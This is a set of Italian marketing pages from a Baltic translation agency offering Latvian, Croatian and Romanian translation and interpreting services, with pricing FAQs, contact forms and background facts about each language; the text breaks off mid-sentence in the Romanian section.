scritte, gli interpreti forniscono traduzioni orali consecutive o simultanee. AVETE BISOGNO DI UN INTERPRETE O DI AIUTO PER ORGANIZZARE UN EVENTO ONLINE? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Traduzioni e servizi di interpretazione generali e specializzati, traduzioni con certificazione notarile. Corsi di lingua lettone. Oltre 25 anni di esperienza. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/ TRADUZIONI DA E VERSO IL LETTONE QUANTO COSTANO LE TRADUZIONI DA E VERSO IL LETTONE? Il costo viene calcolato singolarmente per ogni ordine e varia a seconda di parametri come la data di consegna della traduzione, la specificità del settore, la disponibilità della terminologia, il servizio di correzione di bozze, la formattazione, le immagini, gli schemi, la grafica, ma influiscono sul prezzo anche servizi aggiuntivi richiesti dal cliente (certificati notarili, autenticazione del documento tramite apostilla, ecc. ) È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi dei nostri servizi di traduzione scritta e di interpretazione da e verso il lettone è parte integrante dell’accordo di cooperazione che stipuliamo con i nostri clienti. Perciò le informazioni dettagliate sul prezzo della traduzione sono sempre fornite prima di iniziare ogni progetto. Il costo di ogni ordine è calcolato di volta in volta sulla base del listino prezzi in vigore, il quale tiene conto, tra gli altri, del numero delle parole e delle ripetizioni nel testo di partenza. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso il lettone? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua lettone: Traduzione di documenti in lettone Interpretazione simultanea in lettone Validazione linguistica di traduzioni in lettone Interpretazione consecutiva in lettone Trascrizione in lettone Grafica e composizione tipografica in lettone Servizi di voice over e di sottotitolaggio in lettone Servizi di selezione di staff lettone Marketing multiculturale in lettone Gestione di documenti in lettone Servizi di deposizione in lettone Servizi di data room virtuali in lettone Supporto per l'e-learning in lettone Cercate un servizio linguistico in lettone? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI SULLA LINGUA LETTONE Le radici della lingua lettone affondano nel sanscrito. Essa appartiene alla famiglia delle lingue indoeuropee ed è una delle lingue più antiche d'Europa. Al giorno d’oggi, solo il lituano è imparentato con il lettone e, nella classificazione delle lingue europee, queste due lingue formano una classe a sé. Il lettone ha tre dialetti principali: il livone, il dialetto centrale e il lettone alto. Il dialetto centrale è quello che si trova alla base del lettone letterario. Sono circa 1,3 milioni i parlanti nativi di lettone e si trovano principalmente in Lettonia, dove è la lingua ufficiale. Sono invece circa 400. 000 i madrelingua lettoni all’estero ed essi vivono, tra gli altri, in Russia, negli Stati uniti, in Canada e in Australia. Il lettone è inoltre la seconda lingua di circa mezzo milione di stranieri che vivono in Lettonia. E il fatto che il lettone sia sopravvissuto casualmente all’invasione delle nazioni vicine è abbastanza sorprendente. La spiegazione di questo fenomeno potrebbe essere negli usi e costumi lettoni. A questo proposito, vale la pena di citare le 200. 000 canzoni popolari raccolte tra il 1894 e il 1915 da K. Barons che sono state inserite nella Lista del Patrimonio Mondiale. L'alfabeto lettone ha 33 lettere. In lettone, la prima sillaba è quasi sempre tonica. Il lettone ha tre toni: alto, discendente e interrotto. Il primo libro stampato in lettone fu Katoļu katķisms (Catechismo cattolico). Esso fu pubblicato a Vilnius nel 1585 ed è arrivato ai giorni nostri. Nel 1644 fu pubblicato il primo libro di grammatica. Il primo giornale settimanale Latviešu Avīze (il Giornale lettone) è stato pubblicato a Jelgava dal 1822 al 1915. La Repubblica di Lettonia riconobbe il lettone come lingua di ufficiale nel 1918, ma nel 1944 questa lingua perse il suo status. Tuttavia, nel 1988 è stata approvata una legge per riconoscere nuovamente al lettone lo status di lingua ufficiale. Sono circa 20 le università del mondo che offrono corsi di studio accreditati dedicati alla lingua lettone. La parola lettone più lunga è "pretpulksteņrādītājvirziens" (significa “in senso antiorario”). L'ALFABETO LETTONE L’alfabeto lettone si basa sul latino del XVI secolo, quando i ministri tedeschi stamparono i primi libri utilizzando i principi del tedesco o utilizzando la scrittura Fraktur. Per molti secoli, la scrittura gotica e quella latina sono state utilizzate parallelamente. Solamente nella seconda metà del XX secolo l’alfabeto lettone ha assunto le sembianze odierne. Oggigiorno è composto da 33 lettere. QUANTO È COMPLESSA LA LINGUA LETTONE? Al giorno d’oggi, sempre più persone decidono di imparare il lettone e lo fanno per vari motivi. Qualcuno lo fa per lavoro, altri invece vogliono imparare la lingua prima di visitare la Lettonia. Ma accade anche spesso che qualcuno voglia fare una sorpresa ai propri amici o parenti di origine lettone. Molti stranieri sono ipnotizzati dal suono di questa lingua, facendo quindi crescere l’interesse non solo in essa, ma anche nella cultura, nelle tradizioni e nel paese. La grammatica lettone è una delle più complesse al mondo. È una lingua molto flessibile, ha molti casi e suoni dolci e duri che rendono più difficile l'apprendimento della lingua. Di fatti, è difficile usare costruzioni con il caso genitivo quando altre lingue non lo prevedono nemmeno. ALTRE LINGUE DIFFUSE IN LETTONIA Le lingue più diffuse tra i lettoni sono il lettone, l'inglese e il russo. Inoltre, ci sono anche cittadini la cui lingua madre è il bielorusso, il polacco, il lituano, il romanì, l’estone e il tedesco. DOVE E IN QUANTI PARLANO LETTONE? Attualmente, il lettone è diffuso solamente in Lettonia ed è la lingua madre di circa 1,5 milioni di cittadini. Di questi, 1,38 milioni vivono in Lettonia, mentre altri si trovano in altre parti del mondo tra Stati Uniti, Canada, Svezia, Russia, Australia, Gran Bretagna, Germania, ma anche in altre nazioni. Come seconda lingua, il lettone è utilizzato da mezzo milione di stranieri che vivono in Lettonia. COSA REGOLA L'USO DEL LINGUAGGIO NELLA STAMPA? Il Centro linguistico statale si occupa di regolare l'uso della lingua lettone nella stampa e nei media. IL LETTONE NEL COMMERCIO In Lettonia, il lettone gioca un ruolo importante nelle relazioni commerciali e circa il 60% dei residenti lettoni lo usa nella vita di tutti i giorni, sia a casa che a lavoro. Tuttavia, fuori dalla Lettonia esso non è usato per fini commerciali. I NOSTRI SERVIZI IN LINGUA LETTONE PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; corsi di lingua lettone; campi studio per bambini. COMBINAZIONI LINGUISTICHE: Da lettone a inglese; da inglese a lettone; da estone a lettone; da lettone a estone; da lituano a lettone; da lettone a lituano; da russo a lettone; da ceco a lettone; da lettone a ceco; da polacco a lettone; da lettone a polacco; da ucraino a lettone; da lettone a ucraino; da lettone a spagnolo; spagnolo a lettone; tedesco a lettone; lettone a tedesco; italiano a lettone; lettone a italiano; francese a lettone; lettone a francese; danese a lettone; lettone a danese; norvegese a lettone; lettone a norvegese; svedese a lettone; lettone a svedese; finlandese a lettone; lettone a finlandese e altri. I NOSTRI SERVIZI IN LINGUA LETTONE PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; corsi di lingua lettone; campi studio per bambini. COMBINAZIONI LINGUISTICHE: Da lettone a inglese; da inglese a lettone; da estone a lettone; da lettone a estone; da lituano a lettone; da lettone a lituano; da russo a lettone; da ceco a lettone; da lettone a ceco; da polacco a lettone; da lettone a polacco; da ucraino a lettone; da lettone a ucraino; da lettone a spagnolo; spagnolo a lettone; tedesco a lettone; lettone a tedesco; italiano a lettone; lettone a italiano; francese a lettone; lettone a francese; danese a lettone; lettone a danese; norvegese a lettone; lettone a norvegese; svedese a lettone; lettone a svedese; finlandese a lettone; lettone a finlandese e altri. --- > Traduzioni generali e specialistiche in lingua croata. Interpretazione e altri servizi in lingua croata. Ottenete un preventivo gratuito in 15 minuti! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-horvatu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL CROATO QUANTO COSTANO LE TRADUZIONI DA E VERSO IL CROATO? Il costo delle traduzioni da e verso il croato è calcolato singolarmente per ogni ordine tenendo conto delle sue caratteristiche specifiche. Ad esempio, il prezzo di un servizio di interpretazione consecutiva o simultanea si basa sulla durata del servizio, sul luogo dell’evento, sulle spese di viaggio e sulla diaria. Per un servizio di interpretazione simultanea, sono considerati anche altri aspetti, come l’attrezzatura tecnica e il numero di traduttori necessari. Per quanto riguarda le traduzioni scritte invece, per decidere il prezzo sono considerati il volume e la leggibilità del materiale da tradurre, il termine di consegna del lavoro, la complessità della terminologia, le ripetizioni all’interno del testo, l’elaborazione e la formattazione di immagini e grafiche, come anche altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Certamente. Il listino prezzi dei servizi di traduzione e di interpretazione (simultanea e consecutiva), di localizzazione e di adattamento da e verso il croato è parte integrante dei contratti stipulati con in nostri clienti. Prima dell’inizio di ogni progetto di traduzione, i project manager di Skrivanek Baltic preparano le informazioni riguardanti il costo del lavoro in modo dettagliato. Il preventivo è pronto in circa 30 minuti. Per le traduzioni scritte, il prezzo varia a seconda del numero delle parole nel testo di partenza, della complessità degli elementi grafici, del numero di ripetizioni, ma anche a seconda di altri parametri. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso il croato? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua croata: Traduzione di documenti in croato Interpretazione simultanea in croato Validazione linguistica di traduzioni in croato Interpretazione consecutiva in croato Trascrizione in croato Grafica e composizione tipografica in croato Servizi di voice over e di sottotitolaggio in croato Servizi di selezione di staff croato Marketing multiculturale in croato Gestione di documenti in croato Servizi di deposizione in croato Servizi di data room virtuali in croato Supporto per l'e-learning in croato Cercate un servizio linguistico in croato? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA CROATA Se un giorno vi capitasse di andare in Croazia, consideratevi la persona più ricca del mondo. È una terra bellissima abitata da un popolo generoso, coraggioso e accogliente che parla una lingua melodica, e dove si può anche ascoltare della bellissima musica popolare. Ma la Croazia è anche il mare Adriatico verde smeraldo, l’arena di Pola, il miele dei pini neri e i laghi di Plitvice. Il croato è una lingua slava meridionale appartenente alla famiglia delle lingue europee. A voler essere precisi, assieme al serbo, al bosniaco e al montenegrino, essa fa parte del gruppo delle lingue slave centro-meridionali. Di fatti il croato è simile a queste tre lingue. Il croato letterario ha iniziato il suo sviluppo nel XV secolo, anche se le sue varianti regionali principali, nonché la sua attuale struttura, si sono formate solo ne XIX secolo come conseguenza dell’idea di creare una lingua slava meridionale comune. Questo risultò in un assottigliamento delle differenze tra serbo e croato, le quali diventarono talmente simili che furono considerate la stessa lingua per la maggior parte del XX secolo, prendendo il nome di lingua serbo-croata. Il montenegrino ha invece un vocabolario simile a quello serbo ed è talvolta considerato una sua variante. Per quanto riguarda il bosniaco, esso è difficile da definire, ma è chiaramente imparentato con il serbo e con il croato e, da un punto di vista fonetico, assomiglia al montenegrino. I parlanti di queste quattro lingue possono quindi capirsi e comunicare tra loro. Tuttavia, quando si tratta della terminologia nell’ambito della matematica, della biologia, del diritto e dell’arte culinaria, croato, bosniaco, serbo e montenegrino differiscono le une dalle altre. Anche i loro sistemi di scrittura sono diversi. Di fatti, mentre il serbo e il montenegrino utilizzano l’alfabeto cirillico, il bosniaco e il croato fanno uso di quello latino. È possibile dividere la Croazia in tre regioni dialettali: quella in cui si parla lo stocavo, quella in cui si parla il ciacavo e quella in cui si parla il montenegrino. Anche se si ha testimonianza di testi letterari scritti in tutti e tre i dialetti, il croato letterario si basa su quello stocavo. La parola “enciclopedia” fu usata per la prima volta nel 1559 da Paul Skalich, un enciclopedista e viaggiatore croato di Zagabria. Il suo libro “Encyclopaedia seu orbis disciplinarum tam sacrarum quam prophanarum epistemon” fu uno dei primi ad avere questa parola nel titolo. Tuttavia, i dati storici testimoniano che il libro non era ben scritto, ma, contenendo la prima attestazione d’uso della parola, esso è comunque significativo. Nel 1843, Ivan Kukuljević Sakcinski fu il primo a parlare croato in Parlamento. Nel suo intervento invitò al coraggio e ad unirsi al movimento di liberazione nazionale. Egli richiese anche che il croato fosse usato come lingua ufficiale nelle scuole e nei luoghi di lavoro. Sottolineò inoltre le conseguenze negative che lo stato e la società potrebbero subire nel caso in cui il croato fosse rimpiazzato da un’altra lingua. La parola “paprika”, usata in molte lingue, significa pepe essiccato e macinato. Essa è di origine croata e non viene tradotta. La parola croata per pannocchia è la parola con il maggior numero di sinonimi, ossia ajdamak, bat, batakljuša, bataljika, batučak, batuček, batuk, baturak, baturice, čepina, čokotinja, ćuka, kic, klas, klasina, klasinec, klasovina, klasovinje, kočanj, kocen, komaljika, komušina, kururuzina, komušina, kururuzina kuruška, oklipak, okoma, okomak, okomina, okrunica, orušek, otučak, paćika, patura, paturica, rucelj, rucl, rulina, šapurika, ščavina, šepurina, štruk, tekun, tulina, tulinek. La prima grammatica croata fu scritta in latino da Bartol Kašić e fu pubblicata nel 1604, solo 18 anni dopo la prima grammatica inglese. L'ALFABETO CROATO Per scrivere, il croato utilizza l’alfabeto latino, anche se nei primi anni del Regno di Croazia erano utilizzati l’alfabeto glagolitico (alfabeto creato per le lingue slave) o quello cirillico bosniaco. Per un periodo, questi tre sistemi di scrittura sono stati utilizzati in contemporanea in diverse regioni della Croazia. Alla fine, l’alfabeto latino prevalse sugli altri tre. L'alfabeto croato è oggi composto da 27 lettere e 3 dittonghi: Aa, Bb, Cc, Čč, Ćć, Dd, Dž dž, Đ đ, Ee, Ff, Gg, Hh, Ii, Jj, Kk, Ll, Lj lj, Mm, Nn, Nj nj, Oo, Pp, Rr, Ss, Šš, Tt, Uu, Vv, Zz, Žž. Le lettere q, w, x e y non sono utilizzate in croato. Ogni lettera indica un suono e la sua ortografia corrisponde alla sua pronuncia. QUANTO È DIFFICILE IL CROATO? Nella classifica delle lingue più difficili, il croato si trova nella categoria 3. Perciò la quantità di ore di studio necessaria per poter tenere una conversazione è 1100. Inoltre, essendo una lingua slava, tutti coloro che hanno come madrelingua una lingua della stessa famiglia linguistica partiranno avvantaggiati nel suo apprendimento. Una volta imparato il croato, risulterà più semplice anche lo studio di altre lingue slave e si riuscirà a comunicare con i cittadini dei paesi dove esse sono parlate. Come tutte le lingue slave, la grammatica del croato è piuttosto complessa. Essa ha due numeri (singolare e plurale), sette casi (nominativo, genitivo, dativo, accusativo, vocativo, locativo e strumentale) e tre generi (femminile, maschile e neutro). Pertanto, in teoria, tutti i sostantivi hanno 42 forme. I verbi hanno sette tempi, due numeri e tre persone (singolare: tu, io, lei, lui, esso e plurale: noi, voi, essi). I verbi hanno due aspetti: perfettivo e imperfettivo. È necessario imparare l’aspetto di ogni verbo dato che da esso dipende la coniugazione. Ad esempio, skočiti e skakati condividono il significato di “saltare”, ma hanno aspetti differenti. I NOSTRI TRADUTTORI E INTERPRETI DI CROATO A Skrivanek Baltic, i traduttori e interpreti di croato forniscono sia traduzioni scritte di documenti standard che traduzioni tecniche complesse, come anche traduzioni certificate da un notaio. L’agenzia di traduzione Skrivanek Baltic fornisce anche servizi di creazione di contenuti SEO, di correzione di bozze e di miglioramento stilistico di testi in croato. I nostri linguisti avranno piacere di informarvi sulle differenze culturali, su come lavorare con partner commerciali croati e sulla storia e tradizioni croate. I servizi di traduzione che forniamo più spesso da e verso al croato alle aziende nostre clienti sono la traduzione di contenuti di siti web e di e-commerce, adattamento di slogan pubblicitari, traduzione di accordi di cooperazione e di documentazione commerciale. Forniamo anche servizi di interpretazione consecutiva in occasione di incontri di lavoro o di altro tipo, nonché in conferenze su Zoom e su altre piattaforme online. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, di certificati di matrimonio, di certificati di nascita, di documenti relativi all’istruzione o alla formazione, di passaporti, di documentazione medica, ecc. DOVE E IN QUANTI PARLANO CROATO? Nel mondo ci sono circa 5,7 milioni di persone che parlano croato e la maggior parte di esse vive in Croazia. Essa è la lingua ufficiale della Bosnia ed Erzegovina e della regione serba Voivodina, ma è anche una delle lingue ufficiali dell’Unione europea. Inoltre, è una lingua minoritaria in Montenegro, Ungheria, Austria, Italia e Romania. La diaspora croata vive anche in diversi paesi del mondo, tra cui Germania, Svezia, Francia, Argentina, Stati Uniti, Canada, Australia e Nuova Zelanda. IL CROATO NEL COMMERCIO La maggior parte degli imprenditori e amministratori delegati croati parla più lingue. Le principali lingue utilizzate nel commercio sono il croato, l'inglese, il tedesco e l'italiano (usato soprattutto nelle regioni costiere dell'Istria). Al giorno d’oggi la maggior parte dei giovani imprenditori parla inglese fluentemente ma, per evitare problemi durante gli incontri di lavoro, i partner commerciali stranieri dovrebbero sempre chiedere se è necessario un interprete. È anche bene imparare alcune frasi di cortesia in croato così da avere un incontro di lavoro rispettoso e per far sì che il vostro partner commerciale croato percepisca il vostro interesse verso la propria cultura e nazione. Quando si intessono relazioni commerciali tra due culture o nazioni, l’atteggiamento e i valori personali sono importanti. I croati sono famosi per essere un popolo diretto ma che mantiene sempre un alto livello di professionalità. Essi sono anche amichevoli e vivaci, anche se per conoscervi ed entrare in confidenza potrebbero aver bisogno di più di un incontro. Nel caso in cui vogliate sviluppare o iniziare la vostra attività in uno dei paesi dell’ex Jugoslavia, sicuramente la conoscenza del croato può giocare a vostro vantaggio. CROAZIA E LETTONIA Le relazioni tra Lettonia e Croazia sono piuttosto amichevoli: i paesi hanno un dialogo politico attivo e i parlamenti hanno instaurato una cooperazione proficua. I due paesi hanno anche firmato molti trattati. Una delle principali priorità è lo sviluppo di relazioni economiche commerciali, le quali hanno un notevole potenziale. Anche la cooperazione nell’ambito della cultura è piuttosto significativa. Ogni anno alla Casa degli Scrittori Internazionali e Traduttori di Ventspils arrivano scrittori della Croazia. Fra gli altri, dal 2015 vi risiedono scrittori croati come Petar Coric, Zoran Pilic, Josip Novakovich, Una Vizek, Zeljka Cernok, Una Vizek e Ivan Zrinusic. L’Unione degli scrittori lettoni ha invece avviato una collaborazione con il Festival europeo del racconto breve che si svolge a Zagabria. Aivars Leimanis, direttore artistico della Compagnia Nazionale di Balletto Lettone, ha messo in scena il balletto Korsārs di Ādolfs Adāns al Teatro Nazionale Croato di Spalato nel 2018. L'Accademia di cultura lettone collabora attivamente con la Croazia nell'ambito del programma di scambio Erasmus+. Inoltre, sono stati firmati due accordi con l'Università Josip Juraj Strossmayer di Osijek e con l'Accademia di arte drammatica dell'Università di Zagabria. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL CROATO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a croato; Da croato a lettone; Da estone a croato; Da croato a estone; Da lituano a croato; Da croato a lituano; Da inglese a croato; Da croato a lettone; Da russo a croato; Da croato a russo; Da ceco a croato; Da croato a ceco; Da polacco a croato; Da croato a polacco; Da ucraino a croato; Da croato a ucraino; croato in spagnolo; spagnolo in croato; tedesco in croato; croato in tedesco; italiano in croato; croato in italiano; francese in croato; croato in francese; danese in croato; croato in danese; norvegese in croato; croato in norvegese; svedese in croato; croato in svedese; finlandese in croato; croato in finlandese e altri. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL CROATO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a croato; Da croato a lettone; Da estone a croato; Da croato a estone; Da lituano a croato; Da croato a lituano; Da inglese a croato; Da croato a lettone; Da russo a croato; Da croato a russo; Da ceco a croato; Da croato a ceco; Da polacco a croato; Da croato a polacco; Da ucraino a croato; Da croato a ucraino; croato in spagnolo; spagnolo in croato; tedesco in croato; croato in tedesco; italiano in croato; croato in italiano; francese in croato; croato in francese; danese in croato; croato in danese; norvegese in croato; croato in norvegese; svedese in croato; croato in svedese; finlandese in croato; croato in finlandese e altri. --- > Traduzioni generali e specializzate, interpretazione, localizzazione e altri servizi in lingua rumena. Richiedete un preventivo gratuito! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-rumanu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL RUMENO QUANTO COSTANO LE TRADUZIONI DA E VERSO IL RUMENO? L’agenzia di traduzione Skrivanek calcola il prezzo delle traduzioni da e verso il rumeno singolarmente per ogni ordine ed esso varia a seconda di diversi fattori: il volume del materiale da tradurre, le scadenze, le specificità del testo, le ripetizioni, le caratteristiche grafiche, la formattazione del testo, la revisione, come anche altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi dei servizi di traduzione scritta, come anche di quelli di interpretazione, localizzazione e adattamento da e verso il rumeno è parte integrante dell’accordo di cooperazione che stipuliamo con in nostri clienti. Presso la nostra agenzia di traduzione lavorano project manager che vi forniranno informazioni dettagliate riguardanti il prezzo della traduzione prima di iniziare il progetto. Il costo di ogni ordine è calcolato sulla base del listino prezzi in vigore, considerando il numero delle parole nel testo di partenza, le ripetizioni e altri parametri. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso il rumeno? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua rumena: Traduzione di documenti in rumeno Interpretazione simultanea in rumeno Validazione linguistica di traduzioni in rumeno Interpretazione consecutiva in rumeno Trascrizione in rumeno Grafica e composizione tipografica in rumeno Servizi di voice over e di sottotitolaggio in rumeno Servizi di selezione di staff rumeno Marketing multiculturale in rumeno Gestione di documenti in rumeno Servizi di deposizione in rumeno Servizi di data room virtuali in rumeno Supporto per l'e-learning in rumeno Cercate una servizio linguistico rumeno? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA RUMENA Il rumeno è una lingua indoeuropea appartenente al gruppo delle lingue romanze. Più precisamente, fa parte del sottogruppo delle lingue romanze balcaniche. Dopo lo spagnolo, il portoghese, il francese e l'italiano, il rumeno è la quinta lingua romanza più diffusa. Inoltre, a causa delle differenze tipologiche riscontrate dalla linguistica comparata, il rumeno è considerato anche una lingua dacoromanza. Esso ha lo status di lingua ufficiale in Romania (dove è la lingua madre e più parlata dalla maggior parte dei cittadini) e nella Repubblica di Moldavia (secondo le sentenze della Corte costituzionale). Avendo le caratteristiche delle così dette lingue miste (o di contatto), le quali sono state studiate in diversi campi della linguistica, soprattutto in quello balcanico, il rumeno è la lingua romanza più particolare. Durante l'Impero romano, l’odierna Moldavia e Romania erano chiamate Dacia Romana. I Daci e i Romani vissero a stretto contatto per oltre tre decadi, influenzandosi a vicenda. In questo periodo, anche la popolazione locale subì un processo di romanizzazione, perciò lo sviluppo del rumeno sulla base del romano avvenne in modo assolutamente naturale, anche se non mancò l’influenza delle lingue slave. Il rumeno si è sviluppato in un periodo in cui il latino era molto diffuso. Le prime testimonianze di rumeno scritto risalgono al XVI secolo e il documento più antico che è arrivato ai giorni nostri è la lettera di Neacșu (1521), la quale è scritta in cirillico. Il più antico documento conservato in rumeno è la lettera di Neacșu (1521) scritta in cirillico. Questo alfabeto è stato utilizzato fino all’approvazione dell’ortografia rumena ufficiale in lettere latine nel 1860. I linguisti contemporanei sono giunti alla conclusione che il rumeno e il moldavo sono praticamente identici. Il rumeno ha solo qualche prestito in più proveniente dalle nazioni occidentali, mentre nel moldavo i prestiti provengono principalmente dal russo. Le varianti del rumeno si differenziano soprattutto in termini fonetici e i rumeni le chiamano dialetti o caratteristiche del linguaggio. L'ALFABETO RUMENO In Romania, l’alfabeto latino che viene utilizzato nelle lingue romanze fu ufficialmente adottato nel 1860, anno in cui sostituì quello cirillico utilizzato in Moldavia e in Valacchia. Oggigiorno, l’alfabeto rumeno è composto da 31 lettere che esprimono i 46 fonemi della lingua (7 vocali, 4 semivocali e 35 consonanti). Il primo libro di grammatica rumena fu pubblicato a Vienna nel 1780. Dopo il passaggio all'alfabeto latino, ci sono state delle riforme ortografiche nel 1904, nel 1953 e nel 1993 e riforme minori nel 1964 e nel 2005. QUANTO È COMPLESSO IL RUMENO? Il rumeno è considerato una delle lingue più facili da imparare. È simile allo spagnolo, all'italiano e persino all'inglese. Nonostante 